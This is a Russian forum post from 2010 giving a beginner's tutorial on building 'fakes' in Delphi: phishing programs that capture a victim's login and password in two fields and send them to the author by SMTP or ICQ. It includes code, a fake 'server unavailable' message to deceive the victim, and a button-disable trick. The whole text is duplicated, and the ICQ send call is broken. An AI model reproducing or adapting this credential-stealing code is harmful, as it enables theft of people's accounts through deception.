DJ4J
28.02.2010, 12:48
Фейк на дельфи своими руками
Недавно стал изучать дельфи,получилось написать пару фейков.
Статей на эту тему не увидел,на все что наткнулся было PHP
Что нам нужно
Indy Если хотим слать на мыло
TICQClient Если хотим слать на ICQ
Сильно не пинать,моя первая статья и полностью рассчитана для новичков.
На мыло
Кидаем батон,2 эдита,и
из инди
IdMessage
IdSMTP
IdAntiFreeze
На кнопку прописываем код
IdSMTP1.Host:=('smtp.yandex.ru') ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:=('Username') ;//Имя пользователя
IdSMTP1.password:=('Password') ;//Пароль
IdMessage1.Body.Text:=(Edit1.text+';'+edit2.text);//Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:=('Email@domen.com');//От кого шлем
IdMessage1.Recipients.Emailaddresses:=('Email@dome n.com'); //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
Для большей правдоподобности можно добавить
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
На Аську
ну тут все проще
Кидаем батон,2 эдита,и
ICQClient1
из вкладки Samples
На кнопку
ICQClient1.UIN:=strtoint(Uin); // UIN
ICQClient1.Password:= Password; // Пароль
ICQClient1.Login();//Логинимся
Sleep (10000);//ждем когда залогинится
ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем
Чтобы жертва не тарабанила по кнопке,можно прописать в конце
Button1.Enabled:=False;
Это должно отключить кнопку
ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.
Недавно стал изучать дельфи,получилось написать пару фейков.
Статей на эту тему не увидел,на все что наткнулся было PHP
Что нам нужно
Indy Если хотим слать на мыло
TICQClient Если хотим слать на ICQ
Сильно не пинать,моя первая статья и полностью рассчитана для новичков.
На мыло
Кидаем батон,2 эдита,и
из инди
IdMessage
IdSMTP
IdAntiFreeze
На кнопку прописываем код
IdSMTP1.Host:=('smtp.yandex.ru') ;//smtp сервер мыла.В данном примере для яндекса
IdSMTP1.port:=25 ;//порт
IdSMTP1.Username:=('Username') ;//Имя пользователя
IdSMTP1.password:=('Password') ;//Пароль
IdMessage1.Body.Text:=(Edit1.text+';'+edit2.text);//Шлем данные из Edit1.text и edit2.text через ; ,пользователя нужно заставить их заполнить.
IdMessage1.from.text:=('Email@domen.com');//От кого шлем
IdMessage1.Recipients.Emailaddresses:=('Email@dome n.com'); //кому шлем
IdMessage1.Subject:='Fake' ;//тема письма
IdSMTP1.connect ;//соединяемся
IdSMTP1.Send(idmessage1);//шлем
IdSMTP1.disconnect ;//Разъединяемся.
Для большей правдоподобности можно добавить
MessageBox(handle, PChar('Ваш текст'),PChar('Ждите'), MB_OK);//тут можем написать что сервер не доступен и т.п.
На Аську
ну тут все проще
Кидаем батон,2 эдита,и
ICQClient1
из вкладки Samples
На кнопку
ICQClient1.UIN:=strtoint(Uin); // UIN
ICQClient1.Password:= Password; // Пароль
ICQClient1.Login();//Логинимся
Sleep (10000);//ждем когда залогинится
ICQClient1.SendMessage(StrToInt('IcqNumber'), );//куда и что шлем
Чтобы жертва не тарабанила по кнопке,можно прописать в конце
Button1.Enabled:=False;
Это должно отключить кнопку
ну и до этого опять добавит какое нибудь сообщение,как это сделать смотрим выше.